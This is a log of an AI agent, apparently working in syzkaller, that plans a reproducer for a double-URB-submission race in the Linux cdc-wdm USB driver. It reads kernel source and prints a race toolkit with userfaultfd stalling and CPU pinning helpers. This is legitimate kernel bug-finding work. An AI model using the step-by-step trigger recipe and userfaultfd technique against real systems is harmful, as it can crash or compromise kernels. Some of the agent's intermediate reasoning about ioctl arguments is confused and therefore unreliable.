Ah, I see that `wdm_rxwork` is indeed responsible for setting the `WDM_RESPONDING` flag and submitting the `desc->response`. That much is clear. However, a question immediately pops into my mind: why is `wdm_rxwork` being scheduled in the first place? What triggers its execution? To understand this, I need to trace back where this work item originates. My next step is to delve into the `wdm_int_callback` function. This is where I expect to find the event or condition that leads to `wdm_rxwork` being queued for processing.
|
| 198/5 |
2026/09/11 22:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:wdm_int_callback]
Results: map[SourceCode: 251: static void wdm_int_callback(struct urb *urb)
252: {
253: unsigned long flags;
254: int rv = 0;
255: int responding;
256: int status = urb->status;
257: struct wdm_device *desc;
258: struct usb_cdc_notification *dr;
259:
260: desc = urb->context;
261: dr = (struct usb_cdc_notification *)desc->sbuf;
262:
263: if (status) {
264: switch (status) {
265: case -ESHUTDOWN:
266: case -ENOENT:
267: case -ECONNRESET:
268: return; /* unplug */
269: case -EPIPE:
270: set_bit(WDM_INT_STALL, &desc->flags);
271: dev_err(&desc->intf->dev, "Stall on int endpoint\n");
272: goto sw; /* halt is cleared in work */
273: default:
274: dev_err_ratelimited(&desc->intf->dev,
275: "nonzero urb status received: %d\n", status);
276: break;
277: }
278: }
279:
280: if (urb->actual_length < sizeof(struct usb_cdc_notification)) {
281: dev_err_ratelimited(&desc->intf->dev, "wdm_int_callback - %d bytes\n",
282: urb->actual_length);
283: goto exit;
284: }
285:
286: switch (dr->bNotificationType) {
287: case USB_CDC_NOTIFY_RESPONSE_AVAILABLE:
288: dev_dbg(&desc->intf->dev,
289: "NOTIFY_RESPONSE_AVAILABLE received: index %d len %d\n",
290: le16_to_cpu(dr->wIndex), le16_to_cpu(dr->wLength));
291: break;
292:
293: case USB_CDC_NOTIFY_NETWORK_CONNECTION:
294:
295: dev_dbg(&desc->intf->dev,
296: "NOTIFY_NETWORK_CONNECTION %s network\n",
297: dr->wValue ? "connected to" : "disconnected from");
298: goto exit;
299: case USB_CDC_NOTIFY_SPEED_CHANGE:
300: dev_dbg(&desc->intf->dev, "SPEED_CHANGE received (len %u)\n",
301: urb->actual_length);
302: goto exit;
303: default:
304: clear_bit(WDM_POLL_RUNNING, &desc->flags);
305: dev_err(&desc->intf->dev,
306: "unknown notification %d received: index %d len %d\n",
307: dr->bNotificationType,
308: le16_to_cpu(dr->wIndex),
309: le16_to_cpu(dr->wLength));
310: goto exit;
311: }
312:
313: spin_lock_irqsave(&desc->iuspin, flags);
314: responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
315: if (!desc->resp_count++ && !responding
316: && !test_bit(WDM_DISCONNECTING, &desc->flags)
317: && !test_bit(WDM_SUSPENDING, &desc->flags)) {
318: rv = usb_submit_urb(desc->response, GFP_ATOMIC);
319: dev_dbg(&desc->intf->dev, "submit response URB %d\n", rv);
320: }
321: spin_unlock_irqrestore(&desc->iuspin, flags);
322: if (rv < 0) {
323: clear_bit(WDM_RESPONDING, &desc->flags);
324: if (rv == -EPERM)
325: return;
326: if (rv == -ENOMEM) {
327: sw:
328: rv = schedule_work(&desc->rxwork);
329: if (rv)
330: dev_err(&desc->intf->dev,
331: "Cannot schedule work\n");
332: }
333: }
334: exit:
335: rv = usb_submit_urb(urb, GFP_ATOMIC);
336: if (rv)
337: dev_err(&desc->intf->dev,
338: "%s - usb_submit_urb failed with result %d\n",
339: __func__, rv);
340:
341: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 199/5 |
2026/09/11 22:46 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 34925
output: 41
thoughts: 371
Thoughts: **My Thought Process Regarding `wdm_int_callback` and Endpoint Stalls**
Okay, so I'm examining the `wdm_int_callback` function, and I notice something interesting when the `status` is `-EPIPE`, indicating an endpoint stall. My initial understanding was that if a stall occurs (`status == -EPIPE`), the interrupt URB wouldn't be re-submitted because of the `goto sw;` jump.
I then traced where `goto sw;` leads. It jumps to a label `sw:` which is inside an `if (rv == -ENOMEM)` block. The code there is:
```c
sw:
rv = schedule_work(&desc->rxwork);
```
This means if `rv` was `-ENOMEM`, I schedule the `rxwork`. Now, the crucial part: what happens *after* this `schedule_work` call? I see that the code then *falls through* to the `exit:` label.
```c
if (rv < 0) {
clear_bit(WDM_RESPONDING, &desc->flags);
if (rv == -EPERM)
return;
if (rv == -ENOMEM) {
sw:
rv = schedule_work(&desc->rxwork);
if (rv)
dev_err(&desc->intf->dev,
"Cannot schedule work\n");
}
}
exit:
rv = usb_submit_urb(urb, GFP_ATOMIC);
```
This means that even if `rv` was `-ENOMEM` and I jumped to `sw:`, I *still* execute the code at `exit:`, which is `rv = usb_submit_urb(urb, GFP_ATOMIC);`.
So, my initial conclusion was wrong. It *does* attempt to re-submit the interrupt URB, even after a stall condition has been detected.
Now, a follow-up question arises: what happens if `usb_submit_urb` itself fails because the endpoint is *already* halted? It's entirely plausible that it could immediately return `-EPIPE` again, or it might be submitted successfully but then fail during the actual data transfer.
However, the important consequence here is that `wdm_rxwork` *will* be scheduled and run. My next thought is to check if `wdm_rxwork` itself handles clearing the stall condition. I need to go back and examine the logic within `wdm_rxwork` to see how it addresses the `WDM_INT_STALL` flag, if it does at all.
|
| 200/5 |
2026/09/11 22:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:wdm_rxwork]
Results: map[SourceCode: 982: /* --- error handling --- */
983: static void wdm_rxwork(struct work_struct *work)
984: {
985: struct wdm_device *desc = container_of(work, struct wdm_device, rxwork);
986: unsigned long flags;
987: int rv = 0;
988: int responding;
989:
990: spin_lock_irqsave(&desc->iuspin, flags);
991: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
992: spin_unlock_irqrestore(&desc->iuspin, flags);
993: } else {
994: responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
995: spin_unlock_irqrestore(&desc->iuspin, flags);
996: if (!responding)
997: rv = usb_submit_urb(desc->response, GFP_KERNEL);
998: if (rv < 0 && rv != -EPERM) {
999: spin_lock_irqsave(&desc->iuspin, flags);
1000: clear_bit(WDM_RESPONDING, &desc->flags);
1001: if (!test_bit(WDM_DISCONNECTING, &desc->flags))
1002: schedule_work(&desc->rxwork);
1003: spin_unlock_irqrestore(&desc->iuspin, flags);
1004: }
1005: }
1006: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 201/5 |
2026/09/11 22:46 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 35783
output: 39
thoughts: 51
Thoughts: **My Thought Process on `WDM_INT_STALL` Clearing:**
Okay, I've just realized a critical point here. My initial assumption, or perhaps a lingering understanding from a previous context, was that `wdm_rxwork` was responsible for clearing the `WDM_INT_STALL` flag. However, upon closer inspection, it appears this is *not* the case. This is a significant disconnect.
So, the immediate question that arises is: if `wdm_rxwork` isn't handling it, where *is* `WDM_INT_STALL` being cleared? This suggests a potential bug, a missing piece of logic, or a misunderstanding on my part about the intended flow. My next logical step, then, is to conduct a thorough search for all occurrences of `WDM_INT_STALL` within the codebase. I need to trace its lifecycle, understand what *does* clear it, and determine if there's a gap in the intended interrupt handling mechanism. This search is crucial for ensuring proper system stability and preventing unexpected stalls.
|
| 202/5 |
2026/09/11 22:46 |
tool |
grepper |
0m
Args: map[Expression:WDM_INT_STALL PathPrefix:drivers/usb/class/cdc-wdm.c]
Results: map[Output:drivers/usb/class/cdc-wdm.c=45=MODULE_DEVICE_TABLE (usb, wdm_ids);
--
drivers/usb/class/cdc-wdm.c-53-#define WDM_READ 4
drivers/usb/class/cdc-wdm.c:54:#define WDM_INT_STALL 5
drivers/usb/class/cdc-wdm.c-55-#define WDM_POLL_RUNNING 6
--
drivers/usb/class/cdc-wdm.c=251=static void wdm_int_callback(struct urb *urb)
--
drivers/usb/class/cdc-wdm.c-269- case -EPIPE:
drivers/usb/class/cdc-wdm.c:270: set_bit(WDM_INT_STALL, &desc->flags);
drivers/usb/class/cdc-wdm.c-271- dev_err(&desc->intf->dev, "Stall on int endpoint\n");
]
|
| 203/5 |
2026/09/11 22:46 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 36115
output: 16
thoughts: 4741
Thoughts: Here are my thoughts:
**My Analysis of the `cdc-wdm` Driver Race Condition**
Okay, so I've been digging into this bug report about a recent kernel version and this `cdc-wdm` driver. My initial thought was, "Has this `wdm_rxwork` function *always* been this way, or was it changed?" Because if it's a recent change, that's a good place to start looking for the root cause.
I located `wdm_rxwork` in `drivers/usb/class/cdc-wdm.c`, and I'm looking at the source code right here:
```c
static void wdm_rxwork(struct work_struct *work)
{
struct wdm_device *desc = container_of(work, struct wdm_device, rxwork);
unsigned long flags;
int rv = 0;
int responding;
spin_lock_irqsave(&desc->iuspin, flags);
if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
spin_unlock_irqrestore(&desc->iuspin, flags);
} else {
responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
spin_unlock_irqrestore(&desc->iuspin, flags);
if (!responding)
rv = usb_submit_urb(desc->response, GFP_KERNEL);
...
```
My immediate observation is that `wdm_rxwork` simply submits `desc->response`. The core logic here is this: if `WDM_RESPONDING` is *not* already set (i.e., it's 0), it gets set to 1, and then `desc->response` is submitted. This is *exactly* the behavior I need to trigger the bug I suspect!
Now, let's carefully walk through the sequence of events that leads to the race condition. This is crucial for understanding how to reproduce it.
1. **`wdm_read` is called:** The driver initiates a read operation, and it's waiting for data to become available.
2. **First `NOTIFY_RESPONSE_AVAILABLE`:** The gadget side sends a `NOTIFY_RESPONSE_AVAILABLE`. The `wdm_int_callback` function handles this. It increments `resp_count` (to 1, in this scenario) and importantly, sets the `WDM_RESPONDING` flag. It then submits `desc->response`.
3. **Second `NOTIFY_RESPONSE_AVAILABLE`:** The gadget sends *another* `NOTIFY_RESPONSE_AVAILABLE` before the first one is processed. The `wdm_int_callback` sees that `WDM_RESPONDING` is *already* set. Because of this, it *doesn't* submit `desc->response` again. It just increments `resp_count` to 2. This is the first critical state: `resp_count` is 2, but `desc->response` has only been submitted once.
4. **First `desc->response` URB completes:** The gadget side responds to the first submitted `desc->response` URB. The `wdm_in_callback` function is invoked. It copies the data into `desc->inbuf`, clears the `WDM_RESPONDING` flag, and then wakes up the `wdm_read` call that was waiting.
5. **`wdm_read` wakes up and blocks:** `wdm_read` now unblocks. It proceeds to copy the received data to userspace. This is where I plan to introduce a stall point using `userfaultfd`. I'll block the `copy_to_user` operation.
6. **STALL on interrupt endpoint:** While `wdm_read` is held up in `copy_to_user`, the gadget side sends a STALL command on the interrupt endpoint.
7. **`wdm_int_callback` handles STALL:** The `wdm_int_callback` receives the STALL error (`-EPIPE`). It sets the `WDM_INT_STALL` flag and, crucially, schedules `wdm_rxwork` to run.
8. **`wdm_rxwork` executes:** Now, `wdm_rxwork` runs. It checks the `desc->flags`. It sees that `WDM_RESPONDING` is 0, because it was cleared in step 4 by `wdm_in_callback`. So, it proceeds to set `WDM_RESPONDING` back to 1 and submits `desc->response` *again*. At this point, `desc->response` is now active for the *second* time.
9. **`desc->response` is active (again):** We now have the `desc->response` URB actively in flight for the second time, which is unexpected.
10. **`userfaultfd` is resolved:** The page fault that was blocking `wdm_read` is now resolved.
11. **`wdm_read` completes `copy_to_user`:** The `wdm_read` function finishes its `copy_to_user` operation and then calls `service_outstanding_interrupt`.
12. **`service_outstanding_interrupt` execution:** This function looks at `desc->resp_count`. It sees it's 2 (from step 3). It decrements it to 1.
13. **`service_outstanding_interrupt` sets `WDM_RESPONDING`:** Here's another critical point. It blindly sets the `WDM_RESPONDING` flag to 1. This is problematic because `wdm_rxwork` in step 8 *already* set this flag.
14. **`service_outstanding_interrupt` submits `desc->response`:** Finally, it attempts to submit `desc->response`.
15. **`usb_submit_urb` error:** The `usb_submit_urb` function will now complain because `desc->response` is *already active*. This is the double-submit scenario, which should cause the crash or desired bug behavior.
This entire sequence seems sound and should reliably trigger the bug. The only other minor hurdle I noticed was a gadget enumeration issue related to `USB_REQ_SET_CONFIGURATION` being handled incorrectly, but that seems to be a separate, though related, problem that needs to be addressed in the reproducer setup.
With this understanding, I can now refine the C reproducer code. I need to make sure the `setup_uffd` function is properly included, likely from `race_toolkit.h`. I'll proceed with generating the refined code based on this detailed understanding of the race.
|
| 204/5 |
2026/09/11 22:47 |
tool |
get-toolkit |
0m
Args:
Results: map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
]
|
| 205/5 |
2026/09/11 22:47 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 42538
output: 27
thoughts: 1083
Thoughts: **My Thought Process on Developing the USB Gadget Reproducer**
My primary goal here is to construct a reliable reproducer for a USB gadget driver issue, specifically targeting a scenario involving `setup_uffd` and `event_t`. I've confirmed that both `event_t` and `setup_uffd` are indeed defined within `race_toolkit.h`, which is where my code expects them to be. This confirms the foundational elements of my reproducer are correctly located.
A key detail I'm scrutinizing is the behavior around `USB_RAW_IOCTL_EP0_READ`. I've noted its definition as `_IOWR('U', 4, struct usb_raw_ep_io)` and I'm explicitly incorporating this into my reproducer to ensure accurate interaction with the USB raw device.
I've spent some time verifying the handling of the `event.length` field. My current setup, where `event.length = sizeof(event.data)` and `event.data` is defined as `__u8 data[64]`, seems sound. However, a potential point of divergence with the kernel's `struct usb_raw_event` has caught my attention. The kernel's `data[]` has a much smaller size (8 bytes) compared to my user-space `data[64]`. When I pass `&event` to `USB_RAW_IOCTL_EVENT_FETCH`, the kernel is designed to copy `8 + 8 = 16` bytes for `USB_RAW_EVENT_CONTROL`. I've concluded that this copy operation is indeed safe and correct, as the kernel will only copy what's actually available in its internal structure, preventing any out-of-bounds reads from my larger user-space buffer.
I then turned my attention to the core loop within the gadget thread. The `USB_RAW_IOCTL_EVENT_FETCH` call, with its error handling for `EINTR`, appears robust. The subsequent logic for handling OUT requests or zero-length packets, particularly the `USB_REQ_SET_CONFIGURATION` case, also seems to be correctly implemented. The sequence of `ioctl` calls for `USB_RAW_IOCTL_EP0_READ`, `USB_RAW_IOCTL_CONFIGURE`, and `USB_RAW_IOCTL_EP_ENABLE` looks appropriate for establishing the endpoint and signaling readiness.
Moving to the `ep1_thread`, I've designed a specific sequence of operations to trigger the suspected race condition. The initial `event_wait(&gadget_ready)` and subsequent `usleep` are intended to give the host sufficient time to enumerate and submit its initial interrupt URB. The sending of two `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` notifications is critical for incrementing the internal `resp_count` to two, which is a prerequisite for the subsequent STALL operation to trigger the desired kernel path.
The `event_wait(&read_blocked)` is a crucial synchronization point. It ensures that the kernel's `read()` operation (which should be blocked in `copy_to_user`) is active when I proceed. This is precisely where I intend to introduce the STALL.
My current concern is `ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in)`. While it seems like the logical operation to stall the endpoint, I need to be absolutely certain that `USB_RAW_IOCTL_EP_SET_HALT` is indeed the correct and intended ioctl for this purpose, as opposed to an alternative or a more specific mechanism for controlling the endpoint state in this context. I am actively verifying its definition and expected behavior to ensure the reproducer is targeting the correct underlying functionality. Finally, the subsequent `event_set(&resolve_uffd)` is intended to unblock the `read()` operation and allow the kernel code to complete, thus revealing the race condition.
|
| 206/5 |
2026/09/11 22:48 |
tool |
grepper |
0m
Args: map[Expression:USB_RAW_IOCTL_EP_SET_HALT]
Results: map[Output:drivers/usb/gadget/legacy/raw_gadget.c=1294=static long raw_ioctl(struct file *fd, unsigned int cmd, unsigned long value)
--
drivers/usb/gadget/legacy/raw_gadget.c-1341- break;
drivers/usb/gadget/legacy/raw_gadget.c:1342: case USB_RAW_IOCTL_EP_SET_HALT:
drivers/usb/gadget/legacy/raw_gadget.c-1343- ret = raw_ioctl_ep_set_clear_halt_wedge(
--
include/uapi/linux/usb/raw_gadget.h=160=struct usb_raw_eps_info {
--
include/uapi/linux/usb/raw_gadget.h-254- */
include/uapi/linux/usb/raw_gadget.h:255:#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
include/uapi/linux/usb/raw_gadget.h-256-#define USB_RAW_IOCTL_EP_CLEAR_HALT _IOW('U', 14, __u32)
]
|
| 207/5 |
2026/09/11 22:48 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 43951
output: 52
thoughts: 149
Thoughts: **My Internal Debugging Journey: Unraveling the `USB_RAW_IOCTL_EP_SET_HALT` Nuance**
Alright, let me trace my thought process here as I navigated this particular USB ioctl. It started with a clear affirmation: I knew, with certainty, that `USB_RAW_IOCTL_EP_SET_HALT` maps to `_IOW('U', 13, __u32)`. My understanding was that this ioctl expects a `__u32` value, specifically the endpoint number.
Then, a moment of introspection, a slight pause. I recalled that my variable, `ep_in`, which holds this endpoint number, is declared as an `int`. So, the logical next step in my mind was, "Okay, I need to pass the *address* of this `int` variable, `&ep_in`, to the `ioctl` function, because `_IOW` macros inherently imply that a pointer is being passed to the underlying system call." This is a fundamental aspect of how these macros work, signaling the direction of data transfer.
But then, my gaze fell upon the actual code snippet I had written:
```c
ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in);
```
And that's when the "Wait!" reflex kicked in, quite emphatically. My internal alarm bells started ringing. I had, in fact, passed `ep_in` directly, not its address. This contradicted my earlier, correct understanding of `_IOW`. The macro *explicitly* signifies that data is being *written* to the kernel, and the standard way to do that with `ioctl` is by passing a pointer to the data that resides in user space.
The realization hit: I had overlooked the critical detail that the `ioctl` call requires a pointer to the data being passed to the kernel, even though the data itself (the endpoint number) might appear conceptually simple. The `_IOW` macro is a contract that the kernel expects a pointer to a `__u32` (or whatever type is specified).
To solidify my understanding and ensure I wasn't misinterpreting things, my next step was to cross-reference. I decided to consult the implementation of a similar function, `raw_ioctl_ep_set_clear_halt_wedge`. This is a standard debugging technique for me: if I'm unsure about a specific pattern or API usage, I look at existing, confirmed-working code that employs a similar mechanism. This usually helps to either confirm my current assumption or, as in this case, highlight a discrepancy I need to rectify. It’s all about building confidence in the correctness of the interaction with the kernel interfaces.
|
| 208/5 |
2026/09/11 22:48 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl_ep_set_clear_halt_wedge]
Results: map[SourceCode: 974: static int raw_ioctl_ep_set_clear_halt_wedge(struct raw_dev *dev,
975: unsigned long value, bool set, bool halt)
976: {
977: int ret = 0, i = value;
978: unsigned long flags;
979:
980: spin_lock_irqsave(&dev->lock, flags);
981: if (dev->state != STATE_DEV_RUNNING) {
982: dev_dbg(dev->dev, "fail, device is not running\n");
983: ret = -EINVAL;
984: goto out_unlock;
985: }
986: if (!dev->gadget) {
987: dev_dbg(dev->dev, "fail, gadget is not bound\n");
988: ret = -EBUSY;
989: goto out_unlock;
990: }
991: if (i < 0 || i >= dev->eps_num) {
992: dev_dbg(dev->dev, "fail, invalid endpoint\n");
993: ret = -EBUSY;
994: goto out_unlock;
995: }
996: if (dev->eps[i].state == STATE_EP_DISABLED) {
997: dev_dbg(&dev->gadget->dev, "fail, endpoint is not enabled\n");
998: ret = -EINVAL;
999: goto out_unlock;
1000: }
1001: if (dev->eps[i].disabling) {
1002: dev_dbg(&dev->gadget->dev,
1003: "fail, disable is in progress\n");
1004: ret = -EINVAL;
1005: goto out_unlock;
1006: }
1007: if (dev->eps[i].urb_queued) {
1008: dev_dbg(&dev->gadget->dev,
1009: "fail, waiting for urb completion\n");
1010: ret = -EINVAL;
1011: goto out_unlock;
1012: }
1013: if (usb_endpoint_xfer_isoc(dev->eps[i].ep->desc)) {
1014: dev_dbg(&dev->gadget->dev,
1015: "fail, can't halt/wedge ISO endpoint\n");
1016: ret = -EINVAL;
1017: goto out_unlock;
1018: }
1019:
1020: if (set && halt) {
1021: ret = usb_ep_set_halt(dev->eps[i].ep);
1022: if (ret < 0)
1023: dev_err(&dev->gadget->dev,
1024: "fail, usb_ep_set_halt returned %d\n", ret);
1025: } else if (!set && halt) {
1026: ret = usb_ep_clear_halt(dev->eps[i].ep);
1027: if (ret < 0)
1028: dev_err(&dev->gadget->dev,
1029: "fail, usb_ep_clear_halt returned %d\n", ret);
1030: } else if (set && !halt) {
1031: ret = usb_ep_set_wedge(dev->eps[i].ep);
1032: if (ret < 0)
1033: dev_err(&dev->gadget->dev,
1034: "fail, usb_ep_set_wedge returned %d\n", ret);
1035: }
1036:
1037: out_unlock:
1038: spin_unlock_irqrestore(&dev->lock, flags);
1039: return ret;
1040: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 209/5 |
2026/09/11 22:48 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 45241
output: 42
thoughts: 118
Thoughts: **My Internal Monologue on `USB_RAW_IOCTL_EP_SET_HALT` and `raw_ioctl`**
Okay, so I'm looking at this line: `int ret = 0, i = value;`. My immediate thought is, "Wait, they're using `value` directly as the endpoint index here." That feels... a bit off, or at least something to double-check.
Then, the crucial realization hits me: `value` here isn't just some arbitrary variable; it's the *third argument* passed to the `ioctl` call. And I know, from experience, how `ioctl` typically handles its arguments, especially when dealing with commands that expect a pointer to data.
Specifically, I recall that if `USB_RAW_IOCTL_EP_SET_HALT` is defined using the `_IOW` macro, like `_IOW('U', 13, __u32)`, then the standard `ioctl(fd, cmd, arg)` mechanism expects `arg` to be a pointer to the data being passed. In this case, that would mean a pointer to a `__u32` value representing the endpoint.
However, the code snippet I'm examining shows `raw_ioctl` passing `value` *directly* into whatever internal logic it uses, not as a pointer to a `__u32`. This is a divergence from the standard `ioctl` behavior for this type of command. My immediate next step, then, is to delve into the implementation of `raw_ioctl` itself. I need to understand *how* it's interpreting that `value` argument, because it's clearly not treating it as a simple pointer in the conventional `ioctl` sense. This discrepancy is the core of my current investigative focus.
|
| 210/5 |
2026/09/11 22:48 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl]
Results: map[SourceCode:1294: static long raw_ioctl(struct file *fd, unsigned int cmd, unsigned long value)
1295: {
1296: struct raw_dev *dev = fd->private_data;
1297: int ret = 0;
1298:
1299: if (!dev)
1300: return -EBUSY;
1301:
1302: switch (cmd) {
1303: case USB_RAW_IOCTL_INIT:
1304: ret = raw_ioctl_init(dev, value);
1305: break;
1306: case USB_RAW_IOCTL_RUN:
1307: ret = raw_ioctl_run(dev, value);
1308: break;
1309: case USB_RAW_IOCTL_EVENT_FETCH:
1310: ret = raw_ioctl_event_fetch(dev, value);
1311: break;
1312: case USB_RAW_IOCTL_EP0_WRITE:
1313: ret = raw_ioctl_ep0_write(dev, value);
1314: break;
1315: case USB_RAW_IOCTL_EP0_READ:
1316: ret = raw_ioctl_ep0_read(dev, value);
1317: break;
1318: case USB_RAW_IOCTL_EP_ENABLE:
1319: ret = raw_ioctl_ep_enable(dev, value);
1320: break;
1321: case USB_RAW_IOCTL_EP_DISABLE:
1322: ret = raw_ioctl_ep_disable(dev, value);
1323: break;
1324: case USB_RAW_IOCTL_EP_WRITE:
1325: ret = raw_ioctl_ep_write(dev, value);
1326: break;
1327: case USB_RAW_IOCTL_EP_READ:
1328: ret = raw_ioctl_ep_read(dev, value);
1329: break;
1330: case USB_RAW_IOCTL_CONFIGURE:
1331: ret = raw_ioctl_configure(dev, value);
1332: break;
1333: case USB_RAW_IOCTL_VBUS_DRAW:
1334: ret = raw_ioctl_vbus_draw(dev, value);
1335: break;
1336: case USB_RAW_IOCTL_EPS_INFO:
1337: ret = raw_ioctl_eps_info(dev, value);
1338: break;
1339: case USB_RAW_IOCTL_EP0_STALL:
1340: ret = raw_ioctl_ep0_stall(dev, value);
1341: break;
1342: case USB_RAW_IOCTL_EP_SET_HALT:
1343: ret = raw_ioctl_ep_set_clear_halt_wedge(
1344: dev, value, true, true);
1345: break;
1346: case USB_RAW_IOCTL_EP_CLEAR_HALT:
1347: ret = raw_ioctl_ep_set_clear_halt_wedge(
1348: dev, value, false, true);
1349: break;
1350: case USB_RAW_IOCTL_EP_SET_WEDGE:
1351: ret = raw_ioctl_ep_set_clear_halt_wedge(
1352: dev, value, true, false);
1353: break;
1354: default:
1355: ret = -EINVAL;
1356: }
1357:
1358: return ret;
1359: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 211/5 |
2026/09/11 22:48 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 46432
output: 46
thoughts: 349
Thoughts: **My Thought Process Regarding USB Raw Ioctl Endpoint Halt**
Ah, I've just had a realization about how the `raw_ioctl` function handles endpoint halt requests. It seems I was initially a bit confused, but I've worked through it.
So, the core function, `raw_ioctl`, expects an `unsigned long value`. When the command `cmd` is `USB_RAW_IOCTL_EP_SET_HALT`, this `value` is directly passed to `raw_ioctl_ep_set_clear_halt_wedge`. Here's where my initial thought process hit a snag: `USB_RAW_IOCTL_EP_SET_HALT` is defined using `_IOW('U', 13, __u32)`. This macro typically signifies that the third argument to `ioctl` in userspace is expected to be a pointer.
When userspace makes an `ioctl(fd, cmd, arg)` call, `arg` is indeed passed as `unsigned long value`. My immediate concern was that if userspace *did* pass a pointer (as `_IOW` might suggest), then `value` would become a very large number representing a memory address. Consequently, a check like `i < 0 || i >= dev->eps_num` would almost certainly fail, because the endpoint index is unlikely to be that large. This led me to think that userspace *must* pass the endpoint index directly, not a pointer.
